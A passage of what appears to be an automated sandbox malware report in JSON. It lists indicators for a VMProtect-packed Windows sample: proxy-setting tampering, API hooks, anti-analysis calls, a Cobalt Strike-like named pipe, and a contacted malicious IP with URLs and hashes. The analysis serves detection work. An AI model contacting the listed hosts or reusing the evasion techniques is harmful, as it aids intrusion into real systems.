terminal service related keys (often RDP related)","description":"\"file.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TERMINAL SERVER\"; Key: \"TSUSERENABLED\")","origin":"Registry Access","mitre_attack_id":"T1076","relevance":10,"id":"registry-61","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"}]},{"level":"suspicious","category":"System Security","name":"Hooks API calls","description":"\"NtProtectVirtualMemory@NTDLL.DLL\" in \"file.exe\"","origin":"Hook Detection","mitre_attack_id":"T1179","relevance":10,"id":"hooks-0","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"file.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYENABLE\"; Value: \"00000000\")\n \"file.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYSERVER\")\n \"file.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYOVERRIDE\")\n \"file.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"file.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"},{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"suspicious","category":"System Security","name":"Queries sensitive IE security settings","description":"\"file.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Entrypoint in PE header is within an uncommon section","description":"\"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.bin\" has an entrypoint in section \".vmp1\"","origin":"Static Parser","relevance":10,"id":"static-4","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"},{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"GetModuleHandleA\n GetModuleFileNameW\n LoadLibraryA\n Sleep","origin":"Static Parser","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"},{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"\"file.exe\" wrote bytes \"e92aa53a89\" to virtual address \"0x77005AE0\" (\"NtProtectVirtualMemory@NTDLL.DLL\")\n \"file.exe\" wrote bytes \"c04eff7620540077e0650077b53801770000000000d0307500000000c5ea30750000000088ea307500000000e968ef7482280177ee29017700000000d269ef74000000007dbb30750000000009beef7400000000ba18307500000000\" to virtual address \"0x75711000\" (part of module \"NSI.DLL\")\n \"file.exe\" wrote bytes \"fae6fc76e1a601772e710177ee29017785e2fc766da0017726e4fc76d16d0177003dff76804bff7600000000ad3728758b2d2875b641287500000000\" to virtual address \"0x74331000\" (part of module \"WSHTCPIP.DLL\")\n \"file.exe\" wrote bytes \"ff2515003b00\" to virtual address \"0x003B000F\" (part of module \"IMM32.DLL\")\n \"file.exe\" wrote bytes \"e739fd76e1a601772e710177ee29017785e2fc766da00177906400773ad5077726e4fc76d16d0177003dff76804bff7600000000ad3728758b2d2875b641287500000000\" to virtual address \"0x74881000\" (part of module \"WSHIP6.DLL\")\n \"file.exe\" wrote bytes \"e9db5ac576\" to virtual address \"0x003B0005\" (part of module \"IMM32.DLL\")","origin":"Hook Detection","mitre_attack_id":"T1179","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"}]},{"level":"malicious","category":"Environment Awareness","name":"PE file is protected by VMProtect","description":"\"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.bin\" has a section named \".vmp0\"\n \"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.bin\" has a section named \".vmp1\"","origin":"Static Parser","relevance":7,"id":"static-74","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"},{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"55/71 Antivirus vendors marked sample as malicious (77% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"},{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"55/71 Antivirus vendors marked sample as malicious (77% detection rate)","origin":"External System","relevance":8,"id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"},{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"malicious","category":"Network Related","name":"Malicious artifacts seen in the context of a contacted host","description":"Found malicious artifacts related to \"176.123.3.108\": ...\n\n URL: http://176.123.3.108/ (AV positives: 2/83 scanned on 12/14/2020 03:28:45)\n URL: http://176.123.3.108/px3A (AV positives: 4/83 scanned on 12/01/2020 23:57:27)\n URL: http://176.123.3.108/px3a (AV positives: 2/82 scanned on 12/01/2020 09:32:09)\n URL: http://176.123.3.108/9iok (AV positives: 2/82 scanned on 12/01/2020 08:39:21)\n URL: http://176.123.3.108/9ioK (AV positives: 2/82 scanned on 11/27/2020 20:01:16)\n File SHA256: 64c023cf7b6b8347a469ba47f5aa4d3e (Date: 05/04/2020 12:10:04)\n File SHA256: 7de0d733e55c66c737fb066ee06e199b285eff5cedb2ef2f55b2ed9fbed966a1 (Date: 05/04/2020 12:10:04)\n File SHA256: 6a94e79625e36579859171be94762b9e1c9f0d62 (Date: 05/04/2020 12:10:04)\n File SHA256: b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15 (Date: 03/20/2020 16:40:28)","origin":"Network Traffic","relevance":10,"id":"network-21","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Checks for a resource fork (ADS) file","description":"\"file.exe\" checked file \"C:\"","origin":"API Call","relevance":5,"id":"api-35","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; File: \"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15\")\n Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; File: \"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to open a service (API string)","description":"Found reference to API \"OpenServiceW\" (Indicator: \"OpenService\"; File: \"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-544","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to pass information to a window procedure (API string)","description":"Found reference to API \"\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00007580.00000000.178257.033C0000.00000004.mdmp, 00000000-00007580.00000001.178886.033C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-320","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to perform Base64 encoding/decoding","description":"Found string \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\" (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\"; File: \"00000000-00007580.00000000.178257.00409000.00000020.mdmp\")\n Found string \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\" (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"; File: \"00000000-00007580.00000000.178257.00409000.00000020.mdmp\")\n Found string \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\" (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\"; Source: \"00000000-00007580.00000000.178257.00409000.00000020.mdmp\")\n Found string \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\" (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"; Source: \"00000000-00007580.00000000.178257.00409000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1132","relevance":1,"id":"string-338","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"\"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe\" queried SystemProcessInformation at 00000000-00007580-00000C15-1775797167 [PID: 7580]\n \"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe\" queried SystemProcessInformation at 00000000-00007580-00000C15-1775806156 [PID: 7580]\n \"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe\" queried SystemProcessInformation at 00000000-00007580-00000C15-1775990018 [PID: 7580]\n \"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe\" queried SystemProcessInformation at 00000000-00007580-00000C15-1775999853 [PID: 7580]\n \"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe\" queried SystemProcessInformation at 00000000-00007580-00000C15-1776311840 [PID: 7580]\n \"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe\" queried SystemProcessInformation at 00000000-00007580-00000C15-1776321265 [PID: 7580]","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00007580-54165-172-0041D889\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00007580-54165-173-0041C698\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00007580-54165-227-004262ED","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1622","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"PE file contains zero-sized sections","description":"Raw size of \".text\" is zero\n Raw size of \".data\" is zero\n Raw size of \".rdata\" is zero\n Raw size of \".bss\" is zero\n Raw size of \".idata\" is zero\n Raw size of \".CRT\" is zero\n Raw size of \".vmp0\" is zero","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-5","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"$25","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"Cryptographic Related","name":"Sample file has high entropy (likely encrypted/compressed content)","description":"Sample file \"sample.bin\" has high entropy 7.9491212620938425","origin":"Binary File","mitre_attack_id":"T1027","relevance":1,"id":"binary-71","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: YARA signature match - RC4 Encryption\n Matched sigs: Contains XOR operation loops [Stream disassembly]","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: Sample file has high entropy (likely encrypted/compressed content)\n Matched sigs: YARA signature match - RC4 Encryption\n Matched sigs: Contains XOR operation loops [Stream disassembly]","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: YARA signature match - RC4 Encryption\n Matched sigs: Contains XOR operation loops [Stream disassembly]","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"$26","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query service configuration on system (API string)","description":"Found string \"QueryServiceConfigW\" (File: \"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15\")\n Found string \"EnumServicesStatusExW\" (File: \"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-910","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"Found system information discovery API: \"GetUserObjectInformationA\" in file \"00000000-00007580.00000000.178257.00409000.00000020.mdmp\"\n Found system information discovery API: \"GetUserObjectInformationA\" in \"00000000-00007580.00000000.178257.00409000.00000020.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"Found reference to API \"WTSSendMessageW\" (Indicator: \"sendmessage\"; File: \"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15\")\n Found reference to API \"\" (Indicator: \"enumchildwindows\"; Source: \"00000000-00007580.00000000.178257.033C0000.00000004.mdmp, 00000000-00007580.00000001.178886.033C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00007580)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe\" called \"QueryPerformanceCounter\" (UID: 00000000-00007580)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00007580)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00007580)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$27","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to detect virtual environment (API)","description":"GetTickCount@KERNEL32.DLL at 00000000-00007580-54165-691-0042189C","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497","relevance":3,"id":"stream-87","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query local/system time as file time","description":"GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00007580-54165-595-00409500\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00007580-54165-691-0042189C","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1070.006","relevance":1,"id":"stream-71","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00007580-54165-595-00409500\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00007580-54165-691-0042189C","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1124","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the system locale","description":"GetLocaleInfoA@KERNEL32.DLL at 00000000-00007580-54165-417-004253C8","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1614","relevance":1,"id":"stream-49","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"Found reference to API \"GetActiveWindow\" (Indicator: \"GetActiveWindow\"; File: \"00000000-00007580.00000000.178257.00409000.00000020.mdmp\")\n Found reference to API \"GetActiveWindow\" (Indicator: \"GetActiveWindow\"; Source: \"00000000-00007580.00000000.178257.00409000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"Exploit/Shellcode","name":"Found CobaltStrike named pipe like strings","description":"Found string - \\\\.\\pipe\\MSSE-3589-server","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-147","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"General","name":"Able to enumerate service (API string)","description":"Found reference to API \"OpenSCManagerW\" (Indicator: \"OpenSCManager\"; File: \"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15\")\n Found reference to API \"EnumServicesStatusExW\" (Indicator: \"EnumServicesStatus\"; File: \"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-191","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a named pipe","description":"\"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe\" called \"CreateNamedPipeA\" with parameter \"\\\\.\\pipe\\MSSE-3589-server\"\n dwOpenMode: \"2\"\n dwPipeMode: \"0\" - (UID: 00000000-00007580)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-275","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\MSSE-3589-server\" - (UID: 00000000-00007580)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"\"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe\" called \"LoadLibrary\" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007580)\n \"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe\" called \"LoadLibrary\" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007580)\n \"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe\" called \"LoadLibrary\" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007580)\n \"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe\" called \"LoadLibrary\" with a parameter kernel32 (UID: 00000000-00007580)\n \"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe\" called \"LoadLibrary\" with a parameter wininet (UID: 00000000-00007580)","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$28","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"General","name":"Contains ability to close a handle to a service (API string)","description":"Found reference to API \"CloseServiceHandle\" (Indicator: \"CloseServiceHandle\"; File: \"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-242","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"General","name":"Contains ability to delay the execution of current thread","description":"Sleep@KERNEL32.DLL at 00000000-00007580-54165-166-00420A1E\n Sleep@KERNEL32.DLL at 00000000-00007580-54165-187-004208ED\n Sleep@KERNEL32.DLL at 00000000-00007580-54165-198-00420932\n Sleep@KERNEL32.DLL at 00000000-00007580-54165-381-0042097E\n Sleep@KERNEL32.DLL at 00000000-00007580-54165-708-004209CC","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497.003","relevance":3,"id":"stream-103","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically load libraries","description":"LoadLibraryA@KERNEL32.DLL at 00000000-00007580-54165-169-0042653B\n LoadLibraryA@KERNEL32.DLL at 00000000-00007580-54165-488-004136D0","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":3,"id":"stream-108","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$29","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; File: \"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"\"\\REGISTRY\\MACHINE\\SOFTWARE\\Classes\" in Source: 00000000-00007580.00000000.178257.00409000.00000020.mdmp\n \"Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\\" in Source: 00000000-00007580.00000000.178257.033C0000.00000004.mdmp\n 00000000-00007580.00000001.178886.033C0000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\MSSE-3589-server","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"\"\\REGISTRY\\MACHINE\\SOFTWARE\\Classes\" in Source: 00000000-00007580.00000000.178257.00409000.00000020.mdmp\n \"Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\\" in Source: 00000000-00007580.00000000.178257.033C0000.00000004.mdmp\n \"Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\\" in Source: 00000000-00007580.00000001.178886.033C0000.00000004.mdmp","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"General","name":"Found user-agent related strings","description":"$2a","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-127","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$2b","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 75C90000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 74CF0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15\" was detected as \"VMProtect\" and name: \"Protector\"\n \"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15\" was detected as \"MinGW\" and name: \"Compiler\"\n \"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15\" was detected as \"GNU linker ld (GNU Binutils)\" and name: \"Linker\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15\" has an executable section named \".text\"\n \"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15\" has an executable section named \".vmp0\"\n \"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15\" has an executable section named \".vmp1\"","origin":"Static 